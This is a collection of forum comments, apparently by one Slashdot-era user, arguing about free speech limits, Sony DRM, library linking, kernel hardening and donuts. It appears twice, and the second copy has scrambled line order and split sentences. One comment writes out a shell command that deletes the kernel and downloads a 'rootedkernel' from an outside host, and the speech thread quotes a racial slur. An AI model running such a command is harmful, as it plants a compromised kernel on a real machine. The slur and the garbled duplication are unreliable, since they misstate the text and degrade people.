The market has failed to provide affordable health care for every American...
That's because the market hasn't been allowed to work without the government interfering with it. There are so many guidelines, requirements, licenses, and other government regulations on healthcare that the market hasn't been able to do its thing.
Your rights end where my rights begin. The freedom of speach is not the paramount freedom. Life is.
I agree 100%.
Your right to free speach ends when that speach destroys more paramount rights of others, such as life. And whether or not you like it, shouting fire in a crowded theatre *does* make you solely responsible for any injury or death that occurs. You're responsible not just for your actions themselves, but also for the consequences of your actions, both direct and indirect.
Is it free speach to say "sic 'em boy?" What about when you've got a trained attack dog at your side? Is it freedom of expression to squeeze your finger? What about when it's pressed against the trigger of a gun pointed at my head? Is it freedom of speach to libel someone in the press? To grafiti the "nigger" on an afro-american's front door?
As far as shouting fire in a crowded theater, the people who did the trampling are the ones who made the decision to run out histerically, they could just have easily left without panicking, or looked around, smelled and realized there was no fire.
The dog issue is completely different! An attack dog isn't capable of rational thought, it can't decide, oh, he wants me to attack that guy, why? It just follows orders: it is a weapon.
Same with the gun thing, I agree with you that killing someone with a gun should be a crime, the gun is following orders, it is a weapon.
Is it freedom of speach to libel someone in the press?
If you have the consent of the owner of that paper, then yes. People CHOOSE to buy that paper, people CHOOSE to read and believe unsubstatiated claims about someone. If they don't like the fact that they don't prove any information they give in that paper, they can just stop purchasing it. Likewise, they can disagree with their claims, and offer a completely rational counterpoint WITH proof, and be believed more.
To grafiti the "nigger" on an afro-american's front door?
If you "graffiti" "Joe is a nigger" on your door, I think it should be completely legal. But to do it on his door is violating his property rights, and should be against the law.
Freedoms of speach and expression have limits even in the most liberal of civilized societies.
Why does everyone bring politics to "liberal", "conservative", or "centrist" in this country? There are more dimensions to politics than rash generalizations of classification of what a set of beliefs are.
Otherwise it's simply anarchy, because all crimes could otherwise be claimed as freedoms of expression or freedoms of speach.
The "sic'em boy" is just a manner of communication to the weapon, much like pulling the trigger is telling the gun to fire at that direction. With "fire", unless you have people IN the crowd inciting the trampling, or you have hypnotized people to trample on "fire", you aren't communicating to a weapon, you are communicating to a rational being.
As a side note, while I don't agree with anarchists, anarchy != chaos. An example of this is prison. Sure you are controlled by the guards, but it's been shown time and time again that prisoners can kill whomever they wish, without getting caught because they are careful. They don't kill random people, they kill people they don't like, such as child molesters.
I don't care if the law (IE: Federal and/or State law) disagrees with me. The Constitution DOES agree with me, and that's all that matters:
Amendment I - "Congress shall make no law... abridging the freedom of speech"
abridge
tr.v. abridged, abridging, abridges
1. To reduce the length of (a written text); condense.
2. To cut short; curtail. See Synonyms at shorten.
You are curtailing my freedom to speak how I wish by not letting me shout "fire!". The only way that shouting "fire!" could be construed as wrong is if you are on private property and said owner of private property doesn't want you to do such a thing. If you were to scream "fire!" in a court room (or any other public property) and some idiot causes a panic because of it, however, you are free to do so, and are not in the wrong.
You think murder is legal/constitutional on private property? Or wiretapping? Or cruel and unusual punishment?
Wow you really don't understand this at all do you?
Property owners have the right to allow or limit certain rights on their property. FREEDOM OF SPEECH IS IN THE CONSTITUTION, WHILE FREEDOM TO MURDER IS NOT! Might want to read it again.
Shouting "fire!" is not murder. Who did you kill? You caused some morons to believe you 100% and panic and trample over people. THEY killed those people, not you.
Likewise, Rockstar is using their freedom of expression when they create games like GTA. They caused some morons to think it was real and kill some innocent people. THEY killed those people, not Rockstar.
All of that said, getting folks to click "refresh" is about as legal as suggesting that folks grab free brochures from a stand so as to exhaust the supply of brochures, except that printing more brochures and refreshing the stand are both more expensive to do than restarting a server.
If the brochures weren't free, they would have charged you for them. You aren't forcing them to print more brochures at all, they are "donating" them to you when they leave them out and you take one.
It's common sense. "Take a penny" trays don't give you the right to reach over and empty the register, and neither does granting of access to any other resource give you the right to hoard and abuse an unreasonable share of that resource.
It's also common sense that your analogy doesn't work. If you are driving up and down on the public road, and "hoard and abuse an unreasonable share of that resource", you are driving up and down on the road all day. If you take a penny, and "hoard and abuse an unreasonable share of that resource", you are taking all the pennies in the tray, not taking from the register.
Taking from the register in this case is like driving around on someone's private property, not on public property. The gas station never said you could touch the register whatsoever, but the tray they said you could. Likewise, the private property owner never said you could drive around on his property, but the public property is okay.
I think it's not only fine, but smart to make each re-rating an independant trial... If the game NOW has less violence in it which makes it an M rated game, why would the fact that a previous version of the game was AO rated change that score whatsoever? If a basic trivia game, say an exact replica of jeopardy, showed you a picture of a new naked woman every time you get a correct answer, why would the second revision, which is pretty much an exact jeopardy clone with no nudity, be affected whatsoever by the game's previous incarnation which was rated AO?
It's now an E rated game, not an M rated game because of the nudity that no longer exists!
No, RC3 is just a release candidate. They haven't updated the pages because it's not officially out yet (check mozilla.org, newest is "1.0.7" according to that), however, the FTP directory for Firefox has 1.5 final (which usually means that the offical release for Firefox 1.5 is the next day, so it will probably be out tomorrow or later this week).
Now, just think of the implications of this research if we can somehow learn how this gene is regulated - no more amputations, no more diabetes type 1, no more any disease where a lost body part is gone forever!
Think about it on the negative, too... People's tonsils will grow back after being surgically removed (my tonsils caused severe problems for me when I was younger, after they removed them I had no problems), appendices will grow back, and circumsized people will be in for a surprise;)
If you take this approach, be _very_ careful to have _everything_ that interfaces with the outside system in the open source part; I've worked with kernel modules where some OS calls were still made from inside the binary part, and they were hell.
I believe UT2K4 achieves this by including the libraries themselves in one of the application's directories. Just link to the ones you place in the applications directory as opposed to system libraries and you are all set. Correct me if I am wrong, which is entirely possible.
The entire point of having dynamically linked libraries is to have one central source to update your libraries at, and to share that functionality with other programs. If you are going to include the dynamic library with the program, it's easier to just make a statically linked executable...
Doing it the way (apparently) UT2K4 does it will turn Linux into Windows, with each program installing its own version of the library. Since there is not one place to upgrade the library, you end up with buggy, possibly insecure, libraries all over the place being run for every application.
I mean, really, who in their right mind can't tell that a Krispy Kreme donut is so much better than one from Tim Horton's?:-)
I've never had a "Tim Horton's" donut, but I got $50 that I like them better than Krispy Kreme. It doesn't take much effort to do so...
Krispy Kreme donuts are the worst donuts I've ever had. I think they are in league with KFC, taking the excess chicken fat that KFC doesn't use (not a lot, I know), and shaping them into circles to serve.
As far as the speakerphone or whatever goes, in some respects that is right, and we notice without the speakerphone all the time. Tuning out the surroundings (I personally think that is what the ringing in your ears is, I usually always have the same ringing sound in my ears, funny, I'm always around computers with fans, too!), happens all the time, and if you focus you can force yourself to hear those things.
I have been coming to the same conclusions lately ever since I heard that what a room really sounds like when you're in it is just like what others listening on a speakerphone would hear, but our brains have software to make it sound nice.
If the software was run in the situation where you were in the room, then the software would be run in the situation when you played it back. It just doesn't stop because "oh, that's a tape player"...
The same goes for the picture thing, it was probably a lighting problem or something. Your brain would see it as an image, you can't "sense" if someone is around, otherwise we would all be ninjas.
However these statements may be correct, they wouldn't be "bypassed" through a camera or a microphone.
This idea kinda reminds me of the movie "Shallow Hal", though.
Sony, I believe, did threaten to sue the guy who revealed the shift key bypass a year or several ago.
If I were that guy, I would send them a kind letter that would make the person reading it think, "If I clean that up it doesn't really make a sentence...".
Noting that the Shift key bypasses AutoRun under Windows, and that Sony's DRM uses AutoRun, BOTH should not be in any way violating ANY laws. If something like that EVER happens, I am leaving this country immediately. If someone asks me why, I won't say a word to them for fear of trademark violation...
Another work around for all of Sony's DRM is just using Linux... Mark that as "E" for evidence and under "S" for SCO...
... but that's sportiness rather than anything else. (Slashdot golf?)
GOLF IS NOT A SPORT!!!
Luckily, since my karma has been topped off at Excellent for a good year or two, I think I have enough slack to handle the -1 Trolls and -1 Flamebait moderations that are sure to follow:).
As far as I'm aware, ECHELON is just a myth. Even if it does exist, there is no way that anyone has said anything about it without being executed for treason... (you can't hide yourself under ECHELON, so they would know it was you who told people about ECHELON in the first place...).
I would love to see a kid go out and reenact scenes from this episode of CSI: Miami, so that they could get a smack in the face for being such blatantly biased.
Why does OpenOffice have point releases? Are those not bug fixes? So its bad that Microsoft fixes the bugs, but its ok for OO to do so?
You took my comment right out of context, thanks.
The previous post said something along the lines of "OSes and Office Suites need service packs because of changing hardware", so I asked why in the world an Office Suite would need to be changed due to different hardware, because it should have nothing to do with it.
This is one reason I build all of my kernel images with the grsecurity patch and not using modules. I compile a static kernel only (no module support) and grsec patches the kernel to make it that much harder to insert running code into it (via/dev/mem,/dev/kmem,/dev/port)
Lost cause, really. Once someone has access to your drive, it's over. A simple "rm/boot/vmlinuz; wget -O/boot/vmlinuz http://www.hackersrus.com/rootedkernel; reboot" proves that. Even if you prevent them from accessing/boot, there will always be a way around that, but as root it is really simple. Hell if all else fails they could just access/dev/XdXX themselves.
Please join the support group of folks which believe DRM is actually a solution:P
I am not a MS apologist, but don't blame MS for this, it is SONYs doing, and SONY bears 100% of the blame.
If I thought a brick through your window, is it the home builders fault for putting windows in your home? Is it your fault because you use glass windows? No.
If you build a house out of glass, and someone throws a brick at it and it collapses, it's not your FAULT, but you are still a dumbass.
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The market has failed to provide affordable health care for every American...
That's because the market hasn't been allowed to work without the government interfering with it. There are so many guidelines, requirements, licenses, and other government regulations on healthcare that the market hasn't been able to do its thing.
http://www.pvrblog.com/pvr/2004/11/tivo_to_add_ban .html
So, essentially, you are fast fowarding through ads on TV, and TiVO is showing their ads instead.
Your rights end where my rights begin. The freedom of speach is not the paramount freedom. Life is.
I agree 100%.
Your right to free speach ends when that speach destroys more paramount rights of others, such as life. And whether or not you like it, shouting fire in a crowded theatre *does* make you solely responsible for any injury or death that occurs. You're responsible not just for your actions themselves, but also for the consequences of your actions, both direct and indirect.
Is it free speach to say "sic 'em boy?" What about when you've got a trained attack dog at your side? Is it freedom of expression to squeeze your finger? What about when it's pressed against the trigger of a gun pointed at my head? Is it freedom of speach to libel someone in the press? To grafiti the "nigger" on an afro-american's front door?
As far as shouting fire in a crowded theater, the people who did the trampling are the ones who made the decision to run out histerically, they could just have easily left without panicking, or looked around, smelled and realized there was no fire.
The dog issue is completely different! An attack dog isn't capable of rational thought, it can't decide, oh, he wants me to attack that guy, why? It just follows orders: it is a weapon.
Same with the gun thing, I agree with you that killing someone with a gun should be a crime, the gun is following orders, it is a weapon.
Is it freedom of speach to libel someone in the press?
If you have the consent of the owner of that paper, then yes. People CHOOSE to buy that paper, people CHOOSE to read and believe unsubstatiated claims about someone. If they don't like the fact that they don't prove any information they give in that paper, they can just stop purchasing it. Likewise, they can disagree with their claims, and offer a completely rational counterpoint WITH proof, and be believed more.
To grafiti the "nigger" on an afro-american's front door?
If you "graffiti" "Joe is a nigger" on your door, I think it should be completely legal. But to do it on his door is violating his property rights, and should be against the law.
Freedoms of speach and expression have limits even in the most liberal of civilized societies.
Why does everyone bring politics to "liberal", "conservative", or "centrist" in this country? There are more dimensions to politics than rash generalizations of classification of what a set of beliefs are.
Otherwise it's simply anarchy, because all crimes could otherwise be claimed as freedoms of expression or freedoms of speach.
The "sic'em boy" is just a manner of communication to the weapon, much like pulling the trigger is telling the gun to fire at that direction. With "fire", unless you have people IN the crowd inciting the trampling, or you have hypnotized people to trample on "fire", you aren't communicating to a weapon, you are communicating to a rational being.
As a side note, while I don't agree with anarchists, anarchy != chaos. An example of this is prison. Sure you are controlled by the guards, but it's been shown time and time again that prisoners can kill whomever they wish, without getting caught because they are careful. They don't kill random people, they kill people they don't like, such as child molesters.
I don't care if the law (IE: Federal and/or State law) disagrees with me. The Constitution DOES agree with me, and that's all that matters:
... abridging the freedom of speech"
Amendment I - "Congress shall make no law
abridge
tr.v. abridged, abridging, abridges
1. To reduce the length of (a written text); condense.
2. To cut short; curtail. See Synonyms at shorten.
You are curtailing my freedom to speak how I wish by not letting me shout "fire!". The only way that shouting "fire!" could be construed as wrong is if you are on private property and said owner of private property doesn't want you to do such a thing. If you were to scream "fire!" in a court room (or any other public property) and some idiot causes a panic because of it, however, you are free to do so, and are not in the wrong.
You think murder is legal/constitutional on private property? Or wiretapping? Or cruel and unusual punishment?
Wow you really don't understand this at all do you?
Property owners have the right to allow or limit certain rights on their property. FREEDOM OF SPEECH IS IN THE CONSTITUTION, WHILE FREEDOM TO MURDER IS NOT! Might want to read it again.
Shouting "fire!" is not murder. Who did you kill? You caused some morons to believe you 100% and panic and trample over people. THEY killed those people, not you.
Likewise, Rockstar is using their freedom of expression when they create games like GTA. They caused some morons to think it was real and kill some innocent people. THEY killed those people, not Rockstar.
All of that said, getting folks to click "refresh" is about as legal as suggesting that folks grab free brochures from a stand so as to exhaust the supply of brochures, except that printing more brochures and refreshing the stand are both more expensive to do than restarting a server.
If the brochures weren't free, they would have charged you for them. You aren't forcing them to print more brochures at all, they are "donating" them to you when they leave them out and you take one.
I'm sure the kid didn't cause a tremendous amount of damage. Not so sure about what the slashdotting will do....
Make a couple soccer moms not able to access the information on when to pick up little Suzie?
I don't think he meant he intended to crash the server as a joke, but the telling his friends to do it was a joke.
Like a kid saying "Hey you should spray paint the entire school at midnight tonight!", and people actually doing it.
It's common sense. "Take a penny" trays don't give you the right to reach over and empty the register, and neither does granting of access to any other resource give you the right to hoard and abuse an unreasonable share of that resource.
It's also common sense that your analogy doesn't work. If you are driving up and down on the public road, and "hoard and abuse an unreasonable share of that resource", you are driving up and down on the road all day. If you take a penny, and "hoard and abuse an unreasonable share of that resource", you are taking all the pennies in the tray, not taking from the register.
Taking from the register in this case is like driving around on someone's private property, not on public property. The gas station never said you could touch the register whatsoever, but the tray they said you could. Likewise, the private property owner never said you could drive around on his property, but the public property is okay.
Bunch of dumbasses.
That pretty much summarizes them right there...
I think it's not only fine, but smart to make each re-rating an independant trial... If the game NOW has less violence in it which makes it an M rated game, why would the fact that a previous version of the game was AO rated change that score whatsoever? If a basic trivia game, say an exact replica of jeopardy, showed you a picture of a new naked woman every time you get a correct answer, why would the second revision, which is pretty much an exact jeopardy clone with no nudity, be affected whatsoever by the game's previous incarnation which was rated AO?
It's now an E rated game, not an M rated game because of the nudity that no longer exists!
No, RC3 is just a release candidate. They haven't updated the pages because it's not officially out yet (check mozilla.org, newest is "1.0.7" according to that), however, the FTP directory for Firefox has 1.5 final (which usually means that the offical release for Firefox 1.5 is the next day, so it will probably be out tomorrow or later this week).
Now, just think of the implications of this research if we can somehow learn how this gene is regulated - no more amputations, no more diabetes type 1, no more any disease where a lost body part is gone forever!
;)
Think about it on the negative, too... People's tonsils will grow back after being surgically removed (my tonsils caused severe problems for me when I was younger, after they removed them I had no problems), appendices will grow back, and circumsized people will be in for a surprise
If you take this approach, be _very_ careful to have _everything_ that interfaces with the outside system in the open source part; I've worked with kernel modules where some OS calls were still made from inside the binary part, and they were hell.
A game as a kernel module.... yeah that's smart.
I believe UT2K4 achieves this by including the libraries themselves in one of the application's directories. Just link to the ones you place in the applications directory as opposed to system libraries and you are all set. Correct me if I am wrong, which is entirely possible.
The entire point of having dynamically linked libraries is to have one central source to update your libraries at, and to share that functionality with other programs. If you are going to include the dynamic library with the program, it's easier to just make a statically linked executable...
Doing it the way (apparently) UT2K4 does it will turn Linux into Windows, with each program installing its own version of the library. Since there is not one place to upgrade the library, you end up with buggy, possibly insecure, libraries all over the place being run for every application.
I mean, really, who in their right mind can't tell that a Krispy Kreme donut is so much better than one from Tim Horton's? :-)
I've never had a "Tim Horton's" donut, but I got $50 that I like them better than Krispy Kreme. It doesn't take much effort to do so...
Krispy Kreme donuts are the worst donuts I've ever had. I think they are in league with KFC, taking the excess chicken fat that KFC doesn't use (not a lot, I know), and shaping them into circles to serve.
Oh, I need to add something to this...
As far as the speakerphone or whatever goes, in some respects that is right, and we notice without the speakerphone all the time. Tuning out the surroundings (I personally think that is what the ringing in your ears is, I usually always have the same ringing sound in my ears, funny, I'm always around computers with fans, too!), happens all the time, and if you focus you can force yourself to hear those things.
I have been coming to the same conclusions lately ever since I heard that what a room really sounds like when you're in it is just like what others listening on a speakerphone would hear, but our brains have software to make it sound nice.
If the software was run in the situation where you were in the room, then the software would be run in the situation when you played it back. It just doesn't stop because "oh, that's a tape player"...
The same goes for the picture thing, it was probably a lighting problem or something. Your brain would see it as an image, you can't "sense" if someone is around, otherwise we would all be ninjas.
However these statements may be correct, they wouldn't be "bypassed" through a camera or a microphone.
This idea kinda reminds me of the movie "Shallow Hal", though.
Sony, I believe, did threaten to sue the guy who revealed the shift key bypass a year or several ago.
If I were that guy, I would send them a kind letter that would make the person reading it think, "If I clean that up it doesn't really make a sentence...".
Noting that the Shift key bypasses AutoRun under Windows, and that Sony's DRM uses AutoRun, BOTH should not be in any way violating ANY laws. If something like that EVER happens, I am leaving this country immediately. If someone asks me why, I won't say a word to them for fear of trademark violation...
Another work around for all of Sony's DRM is just using Linux... Mark that as "E" for evidence and under "S" for SCO...
GOLF IS NOT A SPORT!!!
Luckily, since my karma has been topped off at Excellent for a good year or two, I think I have enough slack to handle the -1 Trolls and -1 Flamebait moderations that are sure to follow
As far as I'm aware, ECHELON is just a myth. Even if it does exist, there is no way that anyone has said anything about it without being executed for treason... (you can't hide yourself under ECHELON, so they would know it was you who told people about ECHELON in the first place...).
Lists everything that is autostarted, and removes the autostart entry with a simple check box and button.
Which differs from "msconfig" in that it is called "Hijack This" instead.
I would love to see a kid go out and reenact scenes from this episode of CSI: Miami, so that they could get a smack in the face for being such blatantly biased.
There we go, he should have etched the goatse man on the powerbook, the Apple logo would act as a natural censor.
Why does OpenOffice have point releases? Are those not bug fixes? So its bad that Microsoft fixes the bugs, but its ok for OO to do so?
You took my comment right out of context, thanks.
The previous post said something along the lines of "OSes and Office Suites need service packs because of changing hardware", so I asked why in the world an Office Suite would need to be changed due to different hardware, because it should have nothing to do with it.
This is one reason I build all of my kernel images with the grsecurity patch and not using modules. I compile a static kernel only (no module support) and grsec patches the kernel to make it that much harder to insert running code into it (via /dev/mem, /dev/kmem, /dev/port)
/boot/vmlinuz; wget -O /boot/vmlinuz http://www.hackersrus.com/rootedkernel; reboot" proves that. Even if you prevent them from accessing /boot, there will always be a way around that, but as root it is really simple. Hell if all else fails they could just access /dev/XdXX themselves.
:P
Lost cause, really. Once someone has access to your drive, it's over. A simple "rm
Please join the support group of folks which believe DRM is actually a solution
I am not a MS apologist, but don't blame MS for this, it is SONYs doing, and SONY bears 100% of the blame.
If I thought a brick through your window, is it the home builders fault for putting windows in your home? Is it your fault because you use glass windows? No.
If you build a house out of glass, and someone throws a brick at it and it collapses, it's not your FAULT, but you are still a dumbass.